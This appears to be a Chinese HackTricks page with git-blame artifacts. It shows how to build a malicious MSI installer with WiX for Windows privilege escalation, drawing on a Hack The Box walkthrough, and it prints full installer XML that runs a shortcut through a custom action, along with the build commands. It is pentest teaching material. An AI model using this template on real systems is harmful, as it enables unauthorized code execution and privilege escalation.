2024-07-19 10:11:43 +00:00
|
|
|
|
{% hint style="success" %}
|
|
|
|
|
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
|
|
|
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2024-07-19 10:11:43 +00:00
|
|
|
|
<details>
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2024-07-19 10:11:43 +00:00
|
|
|
|
<summary>支持 HackTricks</summary>
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2024-07-19 10:11:43 +00:00
|
|
|
|
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
|
|
|
|
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
|
|
|
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
|
|
|
|
</details>
|
2024-07-19 10:11:43 +00:00
|
|
|
|
{% endhint %}
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2024-07-19 10:11:43 +00:00
|
|
|
|
# 创建恶意 MSI 并获取 Root
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2024-07-19 10:11:43 +00:00
|
|
|
|
MSI 安装程序的创建将使用 wixtools,具体来说,将利用 [wixtools](http://wixtoolset.org)。值得一提的是,尝试了其他 MSI 构建工具,但在这个特定案例中并未成功。
|
2024-02-03 16:56:23 +00:00
|
|
|
|
|
2024-07-19 10:11:43 +00:00
|
|
|
|
为了全面理解 wix MSI 的使用示例,建议查阅 [此页面](https://www.codeproject.com/Tips/105638/A-quick-introduction-Create-an-MSI-installer-with)。在这里,您可以找到各种示例,展示了 wix MSI 的用法。
|
2024-02-03 16:56:23 +00:00
|
|
|
|
|
2024-07-19 10:11:43 +00:00
|
|
|
|
目标是生成一个将执行 lnk 文件的 MSI。为了实现这一点,可以使用以下 XML 代码([xml 来源于此](https://0xrick.github.io/hack-the-box/ethereal/#Creating-Malicious-msi-and-getting-root)):
|
2021-01-24 10:03:34 +00:00
|
|
|
|
```markup
|
|
|
|
|
<?xml version="1.0"?>
|
|
|
|
|
<Wix xmlns="http://schemas.microsoft.com/wix/2006/wi">
|
|
|
|
|
<Product Id="*" UpgradeCode="12345678-1234-1234-1234-111111111111" Name="Example Product Name"
|
|
|
|
|
Version="0.0.1" Manufacturer="@_xpn_" Language="1033">
|
|
|
|
|
<Package InstallerVersion="200" Compressed="yes" Comments="Windows Installer Package"/>
|
|
|
|
|
<Media Id="1" Cabinet="product.cab" EmbedCab="yes"/>
|
|
|
|
|
<Directory Id="TARGETDIR" Name="SourceDir">
|
|
|
|
|
<Directory Id="ProgramFilesFolder">
|
|
|
|
|
<Directory Id="INSTALLLOCATION" Name="Example">
|
|
|
|
|
<Component Id="ApplicationFiles" Guid="12345678-1234-1234-1234-222222222222">
|
|
|
|
|
</Component>
|
|
|
|
|
</Directory>
|
|
|
|
|
</Directory>
|
|
|
|
|
</Directory>
|
|
|
|
|
<Feature Id="DefaultFeature" Level="1">
|
|
|
|
|
<ComponentRef Id="ApplicationFiles"/>
|
|
|
|
|
</Feature>
|
|
|
|
|
<Property Id="cmdline">cmd.exe /C "c:\users\public\desktop\shortcuts\rick.lnk"</Property>
|
|
|
|
|
<CustomAction Id="Stage1" Execute="deferred" Directory="TARGETDIR" ExeCommand='[cmdline]' Return="ignore"
|
|
|
|
|
Impersonate="yes"/>
|
|
|
|
|
<CustomAction Id="Stage2" Execute="deferred" Script="vbscript" Return="check">
|
|
|
|
|
fail_here
|
|
|
|
|
</CustomAction>
|
|
|
|
|
<InstallExecuteSequence>
|
|
|
|
|
<Custom Action="Stage1" After="InstallInitialize"></Custom>
|
|
|
|
|
<Custom Action="Stage2" Before="InstallFiles"></Custom>
|
|
|
|
|
</InstallExecuteSequence>
|
|
|
|
|
</Product>
|
|
|
|
|
</Wix>
|
|
|
|
|
```
|
2024-07-19 10:11:43 +00:00
|
|
|
|
重要的是要注意,Package 元素包含 InstallerVersion 和 Compressed 等属性,分别指定安装程序的版本并指示包是否被压缩。
|
2024-02-03 16:56:23 +00:00
|
|
|
|
|
2024-07-19 10:11:43 +00:00
|
|
|
|
创建过程涉及使用来自 wixtools 的 candle.exe 工具,从 msi.xml 生成 wixobject。应执行以下命令:
|
2024-02-03 16:56:23 +00:00
|
|
|
|
```
|
2021-01-24 10:03:34 +00:00
|
|
|
|
candle.exe -out C:\tem\wix C:\tmp\Ethereal\msi.xml
|
|
|
|
|
```
|
2024-07-19 10:11:43 +00:00
|
|
|
|
此外,值得一提的是,帖子中提供了一张图片,展示了命令及其输出。您可以参考它以获得视觉指导。
|
2024-02-03 16:56:23 +00:00
|
|
|
|
|
2024-07-19 10:11:43 +00:00
|
|
|
|
此外,另一个来自wixtools的工具light.exe将用于从wixobject创建MSI文件。要执行的命令如下:
|
2024-02-03 16:56:23 +00:00
|
|
|
|
```
|
2021-01-24 10:03:34 +00:00
|
|
|
|
light.exe -out C:\tm\Ethereal\rick.msi C:\tmp\wix
|
|
|
|
|
```
|
2024-07-19 10:11:43 +00:00
|
|
|
|
与之前的命令类似,帖子中包含了一张图像,展示了该命令及其输出。
|
|
|
|
|
|
|
|
|
|
请注意,虽然本摘要旨在提供有价值的信息,但建议参考原始帖子以获取更全面的细节和准确的说明。
|
|
|
|
|
|
|
|
|
|
## 参考
|
2024-02-08 03:56:12 +00:00
|
|
|
|
* [https://0xrick.github.io/hack-the-box/ethereal/#Creating-Malicious-msi-and-getting-root](https://0xrick.github.io/hack-the-box/ethereal/#Creating-Malicious-msi-and-getting-root)
|
|
|
|
|
* [https://www.codeproject.com/Tips/105638/A-quick-introduction-Create-an-MSI-installer-with](https://www.codeproject.com/Tips/105638/A-quick-introduction-Create-an-MSI-installer-with)
|
2024-02-03 16:56:23 +00:00
|
|
|
|
[wixtools](http://wixtoolset.org)
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2024-02-08 03:56:12 +00:00
|
|
|
|
|
2024-07-19 10:11:43 +00:00
|
|
|
|
{% hint style="success" %}
|
|
|
|
|
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
|
|
|
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2024-07-19 10:11:43 +00:00
|
|
|
|
<details>
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2024-07-19 10:11:43 +00:00
|
|
|
|
<summary>支持 HackTricks</summary>
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2024-07-19 10:11:43 +00:00
|
|
|
|
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
|
|
|
|
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们。**
|
|
|
|
|
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
|
|
|
|
</details>
|
2024-07-19 10:11:43 +00:00
|
|
|
|
{% endhint %}
|